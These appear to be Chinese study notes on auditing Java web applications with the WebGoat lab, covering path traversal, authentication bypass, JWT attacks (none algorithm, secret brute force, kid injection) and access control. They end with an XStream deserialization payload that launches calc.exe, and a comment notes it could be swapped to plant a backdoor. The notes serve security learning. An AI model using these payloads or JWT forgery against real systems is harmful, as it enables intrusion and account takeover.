白盒JAFVA。
如何从java代码当中分析你的组件有没有安全问题。或者黑盒角度看组件当中是否存在安全问题。
注入在java当中很难产生。
java的预编译机制筛掉了很多漏洞,例如注入漏洞。

JAVA知识点-Java/JWT/安全组件

1、JavaWeb常见安全及代码逻辑
2、目录遍历&身份验证&逻辑&JWT
3、访问控制&安全组件&越权&三方组件

java无代码难度巨大

JavaWeb-WebGoat8靶场搭建使用

# 环境下载:https://github.com/WebGoat/WebGoat

- 搭建以及访问
启动jar包,搭建环境,端口9091.(启动web服务器,源码是webgoat-server-8.1.0.jar)
$ java -jar webgoat-server-8.1.0.jar --server.port=9091
访问方法:http://127.0.0.1:9091/WebGoat/login.html
初次需要注册,且页面全英文

- 关卡众多
1.各种各样的安全问题,分等级打关
寻找对应文件的包的办法(数据包中URL与相关数据<==映射==>源码中的执行文件与执行方法):
1.抓包: 抓对应的访问流量包
2.识别: 根据抓包反馈的URL信息到对应的目录下去找到相似的jar包(例如jar忽略大小写,找到相似拼写的文件名包)
3.分析: 根据URL特征以及包内携带的POST信息等,分析执行的方法在哪个位置,再分析执行逻辑,找到特殊函数
4.最终目的:找到URL对应的可执行文件,寻找当中的逻辑是否存在安全问题
2.文件上传漏洞所在的关卡
1.打开http://127.0.0.1:9091/WebGoat
2.选择A1,并且转到最后的Path traversal即可

安全问题-目录遍历&身份认证-JWT攻击

目录遍历

- 小插曲:解压jar
IJ内获取jar包的源码的简易方法:选中并且选择自动解压即可
优先查看配置性文件:例如META-INF

- 文件上传漏洞的价值:
漏洞:任意位置文件上传(通用型漏洞)
应用的价值:后门漏洞
安全限制:目录可执行权限限制,例如限制图片目录无脚本执行权限
==> 攻击思路:将脚本放在可执行目录下,例如主目录

- 目录遍历与数据库遍历
后门脚本执行权限防护设置:
指定目录设置后门限制,无法执行脚本文件。例如图片目录。不受到限制的执行目录是根目录。
例如:在上传文件(如用户头像)时,爆出上传路径,路径被任意修改后会导致任意文件上传漏洞

- 逻辑漏洞:键值对双双传入
正常接受和访问:接受键值,再放到对应的查询语句到后台去查询
异常接受与访问:接受键名和键值,再放到数据库去查询,造成数据的任意查找漏洞。
安全修复:修复键名为锁死,防止存在不存在键名问题。

身份验证&JWT

1.涉及题库:靶场A2的Authentication Bypasses 
1.目的: 重置密码回答问题的绕过,需要绕过回答问题到重置密码那里
2.漏洞:
#接受问题答案时时接受键值对的,而不是单纯的接受值
#接受键值对,造成数据库查询漏洞
3.修正漏洞:改为只接受固定键名

2.JWT安全问题( JSON Web Tokens)
功能:解决身份认证的安全问题。
组成:header.payload.signature
识别方法:
1.cookie出现两点作为间隔符号,大小写区分的字母+数字组成的长串字符串,
格式类似于:
xxx_token=xxxxxxxxx.xxxxxx.xxxxxx
算法内容 密钥
单纯的修改payload内容,没有修改密钥部分的内容也是不行的

2.查看cookie,在游客状态和登录状态下的区别是否存在上述情况,是则存在JWT
应用领域:Web应用-java/Python身份验证

JWT攻击方法

博客资源:https://www.cnblogs.com/vege/p/14468030.html
1.空加密算法攻击(签名没验证空加密):
修改header部分的内容,去除掉部分的修改解密算法的模式none,最后去掉第三段即可(前提是服务器支持不要密钥生成的--空模式加密)
--使用脚本生成空加密算法进行攻击

2.爆破密钥:
使用爆破字典+python特定爆破代码进行爆破,爆破出真实密钥就能实现任意用户登录
-- 注意: 如果字典不得行(不够强大)时,一定爆破不出密钥的。
-- 注意: 爆破的脚本不能命名为jwt.py,会导致导入包直接失效(导包冲突)!切记!
拿到密钥后,直接在官网(jwt.io)使用密钥进行生成

3.kid攻击:
kid功能:可选参数,用于指定加密算法的密钥。
危害:
1. 任意文件读取
2. SQL注入
3. 命令注入

安全问题-访问控制&安全组件-第三方组件

访问控制

隐藏属性

前端为了不在明面上展示过多的信息,使用了隐藏属性隐藏了部分信息。例如获取坐标信息并且存入表单当中用于提交:

<form action="xxx.php" method="post">
// hidden是前端表单的隐藏属性。
<input type="hidden" name="idport" value=<?php echo $_SERVER['SERVER_ADDR'];?> >
<input type="submit" name="submit" value="提交">
</form>

隐藏敏感信息,防止用户篡改敏感信息 越权 查看其它用户信息什么的。查看隐藏属性的办法很简单,使用查看源码就能看到了。

水平越权:同一级别用户权限的查看

与上面的差不多,篡改后实现同等级查看其它用户的敏感信息。

安全组件

关键点:是否调用了第三方的组件库。

  • 联想到刚爆出的Log4j2
  • 想要利用Log4j漏洞,看哪个地方导入了Log4j库即可。
<!-- 
calc.exe是服务器的一个计算机程序
如果替换成任意文件的下载命令,就能传入后门,对服务器的安全构成威胁。
-->
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>